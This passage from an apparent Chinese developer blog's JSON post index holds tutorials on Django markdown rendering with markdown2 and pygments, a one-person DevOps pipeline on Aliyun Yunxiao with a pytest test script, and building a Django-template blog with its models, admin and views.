博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-15-node20-%E7%89%88%E6%9C%AC%E4%B8%8Bhexo%E9%83%A8%E7%BD%B2%E6%8A%A5%E9%94%99%E5%A4%B1%E8%B4%A5%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/","summary":"\u003cp\u003e最近升级了node.js的版本，升到了最新的稳定版本v20.16.0，结果发现在该版本下hexo部署报错失败。本文记录了node20+版本下hexo部署报错失败的解决办法。\u003c/p\u003e","title":"node20+版本下hexo部署报错失败的解决办法"},{"content":"随着markdown的流行，web应用系统常常会要碰到有使用markdown编辑器进行富文本编辑，然后在前台web页面进行显示。常见的博客系统当然也需要支持markdown的编辑与显示。本文就通过一个真实的博客系统来说明django+markdown2+pygments实现markdown解析及代码高亮。\n一、后台管理支持markdown编辑 django应用的后台管理支持markdown可以用django-mdeditor，它是一个Django应用，它集成了markdown-editor，允许你在Django项目中使用富文本编辑器编写Markdown格式的内容。这个插件通常用于博客、论坛或任何需要用户输入Markdown文本的场景。\n1、安装依赖 首先，通过pip安装django-mdeditor\n1 pip install django-mdeditor 2、添加应用到INSTALLED_APPS 在settings.py文件中，将django_mdeditor添加到INSTALLED_APPS列表中，参考如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 INSTALLED_APPS = [ \u0026#39;blog\u0026#39;, \u0026#39;django.contrib.admin\u0026#39;, \u0026#39;django.contrib.auth\u0026#39;, \u0026#39;django.contrib.contenttypes\u0026#39;, \u0026#39;django.contrib.sessions\u0026#39;, \u0026#39;django.contrib.messages\u0026#39;, \u0026#39;django.contrib.staticfiles\u0026#39;, \u0026#39;rest_framework\u0026#39;, \u0026#39;django_filters\u0026#39;, # 注册条件查询 \u0026#39;mdeditor\u0026#39;, # 注册markdown的应用 \u0026#39;drf_yasg2\u0026#39;, # 接口文档 ] 3、设置MEDIA_URL和MEDIA_ROOT django-mdeditor使用文件上传功能，因此需要在settings.py中正确设置\n1 2 3 MEDIA_URL和MEDIA_ROOT： MEDIA_URL = \u0026#39;/media/\u0026#39; MEDIA_ROOT = os.path.join(BASE_DIR, \u0026#39;uploads\u0026#39;) 4、在模型中使用MdEditorField 在Django模型中，使用MdEditorField替换标准的TextField：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 \u0026#39;\u0026#39;\u0026#39;博客文章\u0026#39;\u0026#39;\u0026#39; class BlogPost(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=200, verbose_name=\u0026#39;文章标题\u0026#39;, unique = True) category = models.ForeignKey(BlogCategory, blank=True,null=True, verbose_name=\u0026#39;文章分类\u0026#39;, on_delete=models.DO_NOTHING) isTop = models.BooleanField(default=False, verbose_name=\u0026#39;是否置顶\u0026#39;) isHot = models.BooleanField(default=False, verbose_name=\u0026#39;是否热门\u0026#39;) isShow = models.BooleanField(default=False, verbose_name=\u0026#39;是否显示\u0026#39;) summary = models.TextField(max_length=500, verbose_name=\u0026#39;内容摘要\u0026#39;, default=\u0026#39;\u0026#39;) content = MDTextField(verbose_name=\u0026#39;内容\u0026#39;) viewsCount = models.IntegerField(default=0, verbose_name=\u0026#34;查看数\u0026#34;) commentsCount = models.IntegerField(default=0, verbose_name=\u0026#34;评论数\u0026#34;) tags = models.ManyToManyField(to=Tag, related_name=\u0026#34;tag_post\u0026#34;, blank=True, default=None, verbose_name=\u0026#34;标签\u0026#34;) blogSource = models.CharField(max_length=200, blank=True, null=True, default=\u0026#39;\u0026#39;,verbose_name=\u0026#39;文章来源\u0026#39;) pubTime = models.DateTimeField(blank=True, null=True, verbose_name=\u0026#39;发布日期\u0026#39;) @property def tag_list(self): return \u0026#39;,\u0026#39;.join([i.tag for i in self.tags.all()]) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;博客文章\u0026#39; verbose_name_plural = \u0026#39;博客文章\u0026#39; 在博客文章的模型中，文章内容需要支持markdown,所以content = MDTextField(verbose_name='内容')\n5、查看效果 用django自带的后台管理admin就可以看到效果了\n二、前台支持markdown解析及代码高亮 在后台支持markdown编辑后，前台页面的博客文章页面也得要支持对markdown得解析。\n1、安装依赖 在Django项目中使用markdown2库实现代码高亮，安装markdown2和pygments这两个Python库。markdown2用于解析Markdown文本，而pygments用于代码高亮。\n1 pip install markdown2 pygments 2、配置Markdown解析器 在Django视图中，需要导入markdown2模块，并使用它来解析Markdown文本。同时，要启用fenced-code-blocks扩展，以便markdown2能正确识别代码块。\n1 import markdown2 markdown2的扩展说明见 https://github.com/trentm/python-markdown2/wiki/Extras 在这里加入了\n1 2 extras=[\u0026#34;code-color\u0026#34;, \u0026#34;fenced-code-blocks\u0026#34;, \u0026#34;cuddled-lists\u0026#34;, \u0026#34;tables\u0026#34;, \u0026#34;with-toc\u0026#34;, \u0026#34;code-friendly\u0026#34;] 视图实现\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 详情页视图实现. def post_detail(request, id): try: post_obj = BlogPost.objects.get(id=id) html_content = markdown2.markdown(post_obj.content, extras=[\u0026#34;code-color\u0026#34;, \u0026#34;fenced-code-blocks\u0026#34;, \u0026#34;cuddled-lists\u0026#34;, \u0026#34;tables\u0026#34;, \u0026#34;with-toc\u0026#34;, \u0026#34;code-friendly\u0026#34;]) html_content = html_content.replace(\u0026#39;\u0026lt;table\u0026gt;\u0026#39;, \u0026#39;\u0026lt;table class=\u0026#34;table table-bordered\u0026#34;\u0026gt;\u0026#39;) html_content = html_content.replace(\u0026#39;\u0026lt;img src=\u0026#39;, \u0026#39;\u0026lt;img style=\u0026#34;max-width:100%;height:auto;\u0026#34; src=\u0026#39;) context = {\u0026#34;post_obj\u0026#34;: post_obj, \u0026#34;html_content\u0026#34;: html_content, \u0026#34;hot_posts\u0026#34;: get_hot_posts(), \u0026#34;tags\u0026#34;: get_all_tags(), \u0026#34;post_grouped_by_year\u0026#34;: get_post_groped_by_year(), \u0026#39;categories\u0026#39;: get_categories(), \u0026#39;social_infos\u0026#39;: get_socialinfo()} except BlogPost.DoesNotExist: raise Http404(\u0026#34;Post does not exist\u0026#34;) return render(request, \u0026#34;blog/post.html\u0026#34;, context) 3、在模板中显示HTML 在Django模板中，直接输出转换后的HTML内容。使用|safe过滤器告诉模板引擎不要转义HTML代码。\n1 2 3 \u0026lt;div class=\u0026#34;lyear-arc-detail\u0026#34;\u0026gt; {{ html_content|safe }} \u0026lt;/div\u0026gt; 4、导出高亮的css文件并引入css 有了上面的步骤，只是可以解析了markdown成html并显示，最终代码的高亮是通过css 来控制显示的，执行以下命令将高亮的css文件导出。\n1 pygmentize -S default -f html -a .codehilite \u0026gt; markdown_highlighy.css pyments的官方文档 https://pygments.org/ 查看一共有多少种风格，可以参考网址 https://pygments.org/docs/styles/#getting-a-list-of-available-styles 将生成的markdown_highlighy.css文件拷入到static/blog/css下 在模板页面中引入css\n1 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;{% static \u0026#39;blog/css/markdown_highlighy.css\u0026#39; %}\u0026#34; /\u0026gt; 5、查看效果 可以看到markdown可以正常解析，代码也可以高亮显示了。\n三、全套代码 https://gitee.com/xiejava/ishareblog\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-14-django-markdown2-pygments%E5%AE%9E%E7%8E%B0markdown%E8%A7%A3%E6%9E%90%E5%8F%8A%E4%BB%A3%E7%A0%81%E9%AB%98%E4%BA%AE/","summary":"\u003cp\u003e随着markdown的流行，web应用系统常常会要碰到有使用markdown编辑器进行富文本编辑，然后在前台web页面进行显示。常见的博客系统当然也需要支持markdown的编辑与显示。本文就通过一个真实的博客系统来说明django+markdown2+pygments实现markdown解析及代码高亮。\u003c/p\u003e","title":"django+markdown2+pygments实现markdown解析及代码高亮"},{"content":"对于开发团队来说提高软件交付的速度和质量是一个永恒的话题，对于个人开发者来说同样如此。作为一个码农，一定会有几个自己私有的小项目，从需求管理到开发到测试到部署运维都得要自己来，将自己一个人活成一个团队。\nDevOps（Development和Operations的组合），旨在通过自动化、协作和共享责任来提高软件开发和运维的效率、质量和安全性。作为一个人的团队，也可通过devops实践来提高对自己项目的效率和质量，使产品持续开发、持续集成、持续测试、持续部署、持续监控，非常频繁地发布新版本。本文就以一个实际的python的django项目来运用阿里的云效devops平台来进行实战。 DevOps平台工具有很多，最常见的就是大名顶顶的Jenkins，作为个人开发者要准备相应的硬件资源，还要要自己维护一套Jenkins有点麻烦。这里直接就选择成熟的阿里云效devops https://devops.aliyun.com/ ，这套平台基础版是免费的，对于个人开发者来说已经够用了。\n一、需求规划 个人项目虽小，但是也得要有相应的规划，至少得有个需求清单来进行需求的规划和跟踪，哪些需求已经完成了，哪些还需要进行开发做到自己心中有数。 可以在云效的项目协作中创建一个项目进行管理。 在这里我创建了一个xiejava的博客项目 在这里我们就可以将自己规划的需求录入进来做好自己的需求跟踪清单 可以规划自己的版本，将需求跟踪清单里的需求纳入到版本迭代计划。 在迭代计划中可以看到这个迭代要完成的需求清单。 二、代码管理 即使是最简单的项目，建议还是通过代码仓库进行代码的版本管理，我的代码是放到码云https://gitee.com/xiejava/ishareblog 进行托管的，也可以托管到云效自己的代码管理仓库。 有了代码仓库，可以通过在云效构建流水线来进行自动构建、自动测试、自动部署了。\n三、创建流水线 在云效中创建ishareblog的自动发布流水线，整个流水线包括获取代码、测试、构建、部署。 1、配置流水线源 流水线源可以配置云效自己的代码库，也可以配置其他的代码库，如我里是配置的码云代码库。 可以开启代码源触发，开启后一旦代码库有提交操作，就会自动触发流水线工作。 需要说明的是，如果是外部的代码仓库，需要在外部的代码仓库中添加Webhook触发设置\n如我的是码云的仓库，就要在码云的仓库中添加Webhook的配置 四、自动测试 在测试环节，配置了python代码扫描和Python单元测试。 python代码扫描用的是云效默认的配置 比较麻烦的是Python单元测试，Python单元测试需要在Python项目中写测试用例，还要配置测试命令。 在Python项目中写测试用例见《django集成pytest进行自动化单元测试实战》。 配置测试命令就是在测试服务其中进行发布测试的所有shell命令 配置测试命令就是在测试服务其中进行发布测试的所有shell命令 作为一个django的项目测试命令参考如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 # pytest default command # 安装mysql客户端 sudo apt-get update sudo apt-get install -y libmysqlclient-dev # 安装新版本的SQLite3 # wget https://www.sqlite.org/2024/sqlite-autoconf-3460000.tar.gz # 安装依赖 sudo pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple sudo pip install pysqlite3 -i https://pypi.tuna.tsinghua.edu.cn/simple sudo pip install pysqlite3-binary -i https://pypi.tuna.tsinghua.edu.cn/simple # 替换Django的sqlite3的驱动文件 sudo cp -f /root/workspace/ishareblog_J18t/change_set/base.py /usr/local/lib/python3.8/site-packages/django/db/backends/sqlite3/base.py # 初始化数据库 sudo python manage.py makemigrations --settings=ishareblog.settings_test sudo python manage.py migrate --settings=ishareblog.settings_test # 启动django服务 sudo nohup python manage.py runserver 8000 --settings=ishareblog.settings_test \u0026amp; PORT=8000 # 替换为您想要检查的端口号 NEXT_COMMAND=\u0026#34;sudo pytest --html=report/index.html\u0026#34; # 通过pytest进行单元测试 until nc -z localhost $PORT; do echo \u0026#34;Port $PORT is not ready - waiting...\u0026#34; curl http://localhost:8000 sleep 1 done echo \u0026#34;Port $PORT is ready\u0026#34; eval \u0026#34;$NEXT_COMMAND\u0026#34; ps aux | grep python # 通过pytest进行单元测试 #sudo pytest --html=report/index.html pkill -f manage.py ps aux | grep python 因为在单元测试中还做了接口测试，这里会要启动djang服务，进行接口测试，测试完成后还要停止服务。 可以在流水线执行完后查看扫描报告和测试报告 扫描报告 代码扫描报告，报出来的大部分是格式规范的问题。 测试报告 自动化测试报告是通过pytest测试完成形成的报告。 五、自动构建 自动构建将会将构建好的制品打包上传至构建服务器上。 六、自动部署 也可以配置部署后的通知邮件，比如部署成功或失败后发邮件通知。\n最后通过统计报表可以看到流水线近段期间的执行情况\n七、总结 DevOps通过自动化的流程，使得构建、测试、发布软件能够更加地快捷、频繁和可靠。本文通过一个python的django个人博客应用进行了DevOps的实战，通过DevOps拉通开发和运维，通过应用云效的DevOps平台实现自动化“软件交付”的流程，使得构建、测试、发布软件能够更加地快捷、频繁和可靠，提交研发交付效率。作为个人项目也是可以应用devops提高效率。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-11-%E4%B8%80%E4%B8%AA%E4%BA%BA%E6%B4%BB%E6%88%90%E4%B8%80%E4%B8%AA%E5%9B%A2%E9%98%9Fpython%E7%9A%84django%E9%A1%B9%E7%9B%AEdevops%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e对于开发团队来说提高软件交付的速度和质量是一个永恒的话题，对于个人开发者来说同样如此。作为一个码农，一定会有几个自己私有的小项目，从需求管理到开发到测试到部署运维都得要自己来，将自己一个人活成一个团队。\u003c/p\u003e","title":"一个人活成一个团队：python的django项目devops实战"},{"content":"Django作为一款成熟的Python Web开发框架提供了丰富的内置功能，如ORM（对象关系映射）、Admin管理界面、URL分发、模板系统、表单处理等，使得开发者能够快速搭建Web应用，大幅提高了开发效率。以前写过一篇博文《Django+Vue快速实现博客网站》介绍了通过Djang+Vue快速实现博客网站，django+vue作为个人博客来说稍显复杂，部署起来也比较麻烦，Vue的单页面架构也不利于SEO，更简单的解决方案其实还是用django的模板系统快速构建web应用，对于个人博客来说部署和运维更加简单也利于SEO。下面介绍如何快速的通过django模板系统快速实现个人博客。\n一、工程目录组织结构 二、模型及管理实现 模型及管理端的实现沿用《Django+Vue快速实现博客网站》文章中的实现，用Django搭建很快很简单。 模型很简单，根据博客要显示的内容包括有‘文章分类’、‘文章标签’、‘博客文章’、‘站点信息’、‘社交信息’、‘聚焦’，模型定义分别如下： 这里要说明的是因为博客文章内容准备用markdown编写，所以引入了mdeditor from mdeditor.fields import MDTextField 内容字段content=MDTextField(verbose_name='内容') 模型代码示例如下：\n1、模型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 from django.db import models from common.basemodel import BaseModel from mdeditor.fields import MDTextField # Create your models here. \u0026#39;\u0026#39;\u0026#39;文章分类\u0026#39;\u0026#39;\u0026#39; class BlogCategory(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=50,verbose_name=\u0026#39;分类名称\u0026#39;,default=\u0026#39;\u0026#39;) href = models.CharField(max_length=100,verbose_name=\u0026#39;分类路径\u0026#39;,default=\u0026#39;\u0026#39;) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;文章分类\u0026#39; verbose_name_plural = \u0026#39;文章分类\u0026#39; \u0026#39;\u0026#39;\u0026#39;文章标签\u0026#39;\u0026#39;\u0026#39; class Tag(BaseModel): id=models.AutoField(primary_key=True) tag=models.CharField(max_length=20, verbose_name=\u0026#39;标签\u0026#39;) def __str__(self): return self.tag class Meta: verbose_name=\u0026#39;标签\u0026#39; verbose_name_plural=\u0026#39;标签\u0026#39; \u0026#39;\u0026#39;\u0026#39;博客文章\u0026#39;\u0026#39;\u0026#39; class BlogPost(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=200, verbose_name=\u0026#39;文章标题\u0026#39;, unique = True) category = models.ForeignKey(BlogCategory, blank=True,null=True, verbose_name=\u0026#39;文章分类\u0026#39;, on_delete=models.DO_NOTHING) isTop = models.BooleanField(default=False, verbose_name=\u0026#39;是否置顶\u0026#39;) isHot = models.BooleanField(default=False, verbose_name=\u0026#39;是否热门\u0026#39;) isShow = models.BooleanField(default=False, verbose_name=\u0026#39;是否显示\u0026#39;) summary = models.TextField(max_length=500, verbose_name=\u0026#39;内容摘要\u0026#39;, default=\u0026#39;\u0026#39;) content = MDTextField(verbose_name=\u0026#39;内容\u0026#39;) viewsCount = models.IntegerField(default=0, verbose_name=\u0026#34;查看数\u0026#34;) commentsCount = models.IntegerField(default=0, verbose_name=\u0026#34;评论数\u0026#34;) tags = models.ManyToManyField(to=Tag, related_name=\u0026#34;tag_post\u0026#34;, blank=True, default=None, verbose_name=\u0026#34;标签\u0026#34;) blogSource = models.CharField(max_length=200, blank=True, null=True, default=\u0026#39;\u0026#39;,verbose_name=\u0026#39;文章来源\u0026#39;) pubTime = models.DateTimeField(blank=True, null=True, verbose_name=\u0026#39;发布日期\u0026#39;) @property def tag_list(self): return \u0026#39;,\u0026#39;.join([i.tag for i in self.tags.all()]) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;博客文章\u0026#39; verbose_name_plural = \u0026#39;博客文章\u0026#39; \u0026#39;\u0026#39;\u0026#39;站点信息\u0026#39;\u0026#39;\u0026#39; class Site(BaseModel): id = models.AutoField(primary_key=True) name = models.CharField(max_length=50, verbose_name=\u0026#39;站点名称\u0026#39;, unique = True) avatar = models.CharField(max_length=200, verbose_name=\u0026#39;站点图标\u0026#39;) slogan = models.CharField(max_length=200, verbose_name=\u0026#39;站点标语\u0026#39;) domain = models.CharField(max_length=200, verbose_name=\u0026#39;站点域名\u0026#39;) notice = models.CharField(max_length=200, verbose_name=\u0026#39;站点备注\u0026#39;) desc = models.CharField(max_length=200, verbose_name=\u0026#39;站点描述\u0026#39;) def __str__(self): return self.name class Meta: verbose_name = \u0026#39;站点信息\u0026#39; verbose_name_plural = \u0026#39;站点信息\u0026#39; \u0026#39;\u0026#39;\u0026#39;社交信息\u0026#39;\u0026#39;\u0026#39; class Social(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=20, verbose_name=\u0026#39;标题\u0026#39;) icon = models.CharField(max_length=200, verbose_name=\u0026#39;图标\u0026#39;) color = models.CharField(max_length=20, verbose_name=\u0026#39;颜色\u0026#39;) href = models.CharField(max_length=100, verbose_name=\u0026#39;路径\u0026#39;) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;社交信息\u0026#39; verbose_name_plural = \u0026#39;社交信息\u0026#39; \u0026#39;\u0026#39;\u0026#39;聚焦\u0026#39;\u0026#39;\u0026#39; class Focus(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=20, verbose_name=\u0026#39;标题\u0026#39;) img = models.CharField(max_length=100, verbose_name=\u0026#39;路径\u0026#39;) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;聚焦\u0026#39; verbose_name_plural = \u0026#39;聚焦\u0026#39; \u0026#39;\u0026#39;\u0026#39;友链\u0026#39;\u0026#39;\u0026#39; class Friend(BaseModel): id = models.AutoField(primary_key=True) siteName = models.CharField(max_length=20, verbose_name=\u0026#39;友链站点名称\u0026#39;) path = models.CharField(max_length=100, verbose_name=\u0026#39;地址路径\u0026#39;) desc = models.CharField(max_length=200, verbose_name=\u0026#39;描述\u0026#39;) def __str__(self): return self.siteName class Meta: verbose_name = \u0026#39;友链\u0026#39; verbose_name_plural = \u0026#39;友链\u0026#39; 2、admin管理 实际上只要把模型注册到admin就可以了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from django.contrib import admin from blog.models import * # Register your models here. @admin.register(BlogCategory) class BlogCategoryAdmin(admin.ModelAdmin): admin.site.site_title=\u0026#34;ishareblog后台\u0026#34; admin.site.site_header=\u0026#34;ishareblog后台\u0026#34; admin.site.index_title=\u0026#34;ishareblog管理\u0026#34; list_display = [\u0026#39;id\u0026#39;, \u0026#39;title\u0026#39;, \u0026#39;href\u0026#39;] @admin.register(BlogPost) class BlogPostAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;category\u0026#39;,\u0026#39;isTop\u0026#39;,\u0026#39;isHot\u0026#39;] search_fields = (\u0026#39;title\u0026#39;,) @admin.register(Site) class SiteAdmin(admin.ModelAdmin): list_display = [\u0026#39;name\u0026#39;,\u0026#39;slogan\u0026#39;,\u0026#39;domain\u0026#39;,\u0026#39;desc\u0026#39;] @admin.register(Social) class SocialAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;href\u0026#39;] @admin.register(Focus) class FoucusAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;img\u0026#39;] @admin.register(Friend) class FoucusAdmin(admin.ModelAdmin): list_display = [\u0026#39;siteName\u0026#39;,\u0026#39;path\u0026#39;,\u0026#39;desc\u0026#39;] @admin.register(Tag) class TagAdmin(admin.ModelAdmin): list_display = [\u0026#39;id\u0026#39;,\u0026#39;tag\u0026#39;] 三、博客展现实现 博客前端展现用django的模板技术实现。在网上找了一个基于Bootstrap v4.3.1的小清新风格HTML博客模板，https://gitee.com/yinqi/Light-Year-Blog 这个博客模只有三个页面，首页，详细页和About页面，样式和js都不多，比较简单。将html模板放入到templates的blog目录，为了便于维护将一些公共部分抽到了base.html，index.html和post.html 通过{ % extends 'blog/base.html' % }进行应用\n1、视图实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from django.http import HttpResponse, Http404 from django.template import loader from django.core.paginator import Paginator from blog.models import BlogPost, Tag, BlogCategory from django.shortcuts import render from django.db.models import Count from django.db.models.functions import TruncYear import markdown2 # 首页/列表页视图实现. def index(request): category_id = request.GET.get(\u0026#39;category\u0026#39;) tag_id = int(request.GET.get(\u0026#39;tag\u0026#39;,0)) year = request.GET.get(\u0026#39;year\u0026#39;) search = request.GET.get(\u0026#39;search\u0026#39;) if category_id: blogpost_list = BlogPost.objects.filter(category=category_id, isShow=True).order_by(\u0026#39;-isTop\u0026#39;, \u0026#39;-pubTime\u0026#39;) elif tag_id: blogpost_list = BlogPost.objects.filter(tags__id=tag_id, isShow=True).order_by(\u0026#39;-isTop\u0026#39;, \u0026#39;-pubTime\u0026#39;) elif year: blogpost_list = BlogPost.objects.filter(pubTime__year=year, isShow=True).order_by(\u0026#39;-isTop\u0026#39;, \u0026#39;-pubTime\u0026#39;) elif search: blogpost_list = BlogPost.objects.filter(content__icontains=search, isShow=True).order_by(\u0026#39;-isTop\u0026#39;, \u0026#39;-pubTime\u0026#39;) else: # 筛选出需要显示的博客文章 blogpost_list = BlogPost.objects.filter(isShow=True).order_by(\u0026#39;-isTop\u0026#39;, \u0026#39;-pubTime\u0026#39;, \u0026#39;-update_time\u0026#39;) # 每页显示的数量 per_page = 10 # 创建分页器实例 paginator = Paginator(blogpost_list, per_page) # 获取当前页码，如果没有提供，则默认为第一页 page_number = request.GET.get(\u0026#39;page\u0026#39;) or 1 # 获取当前页的数据 page_obj = paginator.get_page(page_number) # 计算显示的页码范围 current_page = int(page_number) pages_to_show = 11 # 当前页前后各5页加上当前页共11页 start_page = max(current_page - 5, 1) end_page = min(start_page + pages_to_show - 1, paginator.num_pages) template = loader.get_template(\u0026#34;blog/index.html\u0026#34;) context = { \u0026#34;page_obj\u0026#34;: page_obj, \u0026#39;start_page\u0026#39;: start_page, \u0026#39;end_page\u0026#39;: end_page, \u0026#39;hot_posts\u0026#39;: get_hot_posts(), \u0026#39;tags\u0026#39;: get_all_tags(), \u0026#39;post_grouped_by_year\u0026#39;:get_post_groped_by_year(), \u0026#39;categories\u0026#39;: get_categories(), \u0026#39;category_id\u0026#39;: category_id, \u0026#39;tag_id\u0026#39;: tag_id, \u0026#39;year\u0026#39;: year, \u0026#39;search\u0026#39;: search, } return HttpResponse(template.render(context, request)) # 详情页视图实现. def post_detail(request, id): try: post_obj = BlogPost.objects.get(id=id) html_content = markdown2.markdown(post_obj.content, extras=[\u0026#34;code-color\u0026#34;, \u0026#34;fenced-code-blocks\u0026#34;, \u0026#34;cuddled-lists\u0026#34;, \u0026#34;tables\u0026#34;, \u0026#34;with-toc\u0026#34;, \u0026#34;highlightjs-lang\u0026#34;]) html_content = html_content.replace(\u0026#39;\u0026lt; table \u0026gt;\u0026#39;, \u0026#39;\u0026lt; table class=\u0026#34;table table-bordered\u0026#34; \u0026gt;\u0026#39;) html_content = html_content.replace(\u0026#39;\u0026lt; img src=\u0026#39;, \u0026#39;\u0026lt; img style=\u0026#34;max-width:100%;height:auto;\u0026#34; src= \u0026#39;) context = {\u0026#34;post_obj\u0026#34;: post_obj, \u0026#34;html_content\u0026#34;: html_content, \u0026#34;hot_posts\u0026#34;: get_hot_posts(),\u0026#34;tags\u0026#34;: get_all_tags(),\u0026#34;post_grouped_by_year\u0026#34;:get_post_groped_by_year(),\u0026#39;categories\u0026#39;: get_categories()} except BlogPost.DoesNotExist: raise Http404(\u0026#34;Post does not exist\u0026#34;) return render(request, \u0026#34;blog/post.html\u0026#34;, context) def get_hot_posts(): # 获取点赞数最高的前5篇文章 hot_posts = BlogPost.objects.filter(isShow=True).order_by(\u0026#39;-viewsCount\u0026#39;, \u0026#39;-pubTime\u0026#39;)[:5] return hot_posts def get_all_tags(): # 获取所有的标签 tags = Tag.objects.all() # 获取所有的标签 return tags def get_post_groped_by_year(): # 将发布日期截断为年份，并计算每年的文章数量。 post_grouped_by_year = ( BlogPost.objects .annotate(year=TruncYear(\u0026#39;pubTime\u0026#39;)) .values(\u0026#39;year\u0026#39;) # 返回的字典包含\u0026#39;year\u0026#39;键 .annotate(publication_count=Count(\u0026#39;id\u0026#39;)) # 计算每年的文章数量 .order_by(\u0026#39;-year\u0026#39;) # 按年排序 ) return post_grouped_by_year def get_categories(): # 获取所有分类 categories = BlogCategory.objects.all() return categories 2、模板实现 静态文件如css、js等放到static的blog目录，html模板文件放到templates的blog目录 在setting.py文件中配置 STATIC_URL = 'static/'，在html模板文件中通过{% raw %}{ % load static % }{% endraw %} 将静态文件的地址引用进来 将公共部分抽取出来形成base.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 { % load static % } \u0026lt;!DOCTYPE HTML\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;IE=edge\u0026#34;\u0026gt; \u0026lt;title\u0026gt;XieJava的博客\u0026lt;/title\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;description\u0026#34; content=\u0026#34;\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;keywords\u0026#34; content=\u0026#34;\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;author\u0026#34; content=\u0026#34;xiejava\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; type=\u0026#34;image/x-icon\u0026#34; href=\u0026#34;favicon.ico\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;{ % static \u0026#39;blog/css/bootstrap.min.css\u0026#39; % }\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;{ % static \u0026#39;blog/css/materialdesignicons.min.css\u0026#39; % }\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;{ % static \u0026#39;blog/css/style.min.css\u0026#39; % }\u0026#34; /\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;header class=\u0026#34;lyear-header text-center\u0026#34; style=\u0026#34;background-image:url(images/left-bg.jpg);\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lyear-header-container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lyear-mask\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;h1 class=\u0026#34;lyear-blogger pt-lg-4 mb-0\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }\u0026#34;\u0026gt;XieJava的博客\u0026lt;/a\u0026gt;\u0026lt;/h1\u0026gt; \u0026lt;nav class=\u0026#34;navbar navbar-expand-lg\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;navbar-toggler\u0026#34; data-toggle=\u0026#34;collapse\u0026#34; data-target=\u0026#34;#navigation\u0026#34; aria-controls=\u0026#34;navigation\u0026#34; aria-expanded=\u0026#34;false\u0026#34; 